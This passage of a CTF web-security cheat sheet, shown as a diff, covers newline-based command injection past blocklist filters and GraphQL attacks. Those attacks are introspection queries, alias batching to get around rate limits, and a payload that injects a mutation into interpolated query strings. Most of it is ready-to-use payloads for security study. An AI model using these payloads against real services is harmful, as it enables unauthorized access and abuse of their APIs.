+ **Key insight:** Newline (`\n`, `%0a`) is frequently overlooked in command injection filters. While `;`, `|`, and `&` are commonly blocked, newline acts as a command separator in shell and is valid in URLs. Any application that passes URL path components to shell commands via string interpolation (backticks, `system()`, `popen()`) is vulnerable if newlines aren't filtered.
281
+
282
+ **When to recognize:** Web app interacts with git, svn, or other CLI tools. Source shows shell interpolation with partial sanitization. Test with `%0a` (newline) and `%0d%0a` (CRLF) in URL parameters.
283
+
284
+ **Defense check:** Does the filter block `\n` (0x0a)? Does it use allowlists instead of blocklists? Does it use `execve()` (no shell) instead of `system()` (shell)?
285
+
286
+ ---
287
+
288
+ ## GraphQL Injection and Exploitation (Hack.lu CTF 2020, HeroCTF v5)
289
+
290
+ ### Introspection and Schema Discovery
291
+
292
+ ```graphql
293
+ # Full schema enumeration (often left enabled in CTFs)
294
+ {__schema{types{name,fields{name,args{name,type{name}}}}}}
295
+
296
+ # Shortened introspection query
297
+ {__type(name:"Query"){fields{name,type{name,ofType{name}}}}}
298
+
299
+ # Find all mutations
300
+ {__schema{mutationType{fields{name,args{name,type{name}}}}}}
301
+
302
+ # Find hidden types
303
+ {__schema{types{name,kind,description}}}
304
+ ```
305
+
306
+ ### Query Batching and Aliasing for Rate Limit Bypass
307
+
308
+ ```graphql
309
+ # Execute same mutation N times in single request via aliases
310
+ mutation {
311
+ a1: increaseVote(id: "target") { count }
312
+ a2: increaseVote(id: "target") { count }
313
+ a3: increaseVote(id: "target") { count }
314
+ # ... repeat 1337 times
315
+ }
316
+
317
+ # Or via array batching (if supported):
318
+ # POST body: [{"query":"mutation{vote(id:\"x\"){ok}}"}, {"query":"mutation{vote(id:\"x\"){ok}}"}, ...]
319
+ ```
320
+
321
+ ### String Interpolation Injection
322
+
323
+ ```javascript
324
+ // Vulnerable server code pattern:
325
+ const query = `mutation { doAction(input: "${userInput}") { result } }`;
326
+
327
+ // Injection payload:
328
+ // userInput = ") { result } } mutation { adminAction(secret: true) { flag } } #"
329
+ // Resulting query:
330
+ // mutation { doAction(input: "") { result } } mutation { adminAction(secret: true) { flag } } #") { result } }
331
+ ```
332
+
333
+ **Key insight:** GraphQL combines query language power with REST-like endpoints. Three main attack surfaces: (1) introspection reveals the full API schema, (2) query batching/aliasing bypasses rate limits and multiplies actions, (3) string interpolation in server-side query construction enables injection similar to SQLi.
334
+
335
+ ---
336
+
337
+ *See also: [server-side-exec.md](server-side-exec.md) for code execution attacks (Ruby/Perl/JS/LaTeX/Prolog injection, PHP preg_replace /e, ReDoS, file upload to RCE, PHP deserialization, XPath injection, Thymeleaf SpEL SSTI), and [server-side-exec-2.md](server-side-exec-2.md) for SQLi keyword fragmentation, SQL WHERE bypass, SQL via DNS, bash brace expansion, Common Lisp injection, PHP7 OPcache, PNG/PHP polyglot upload, and more.*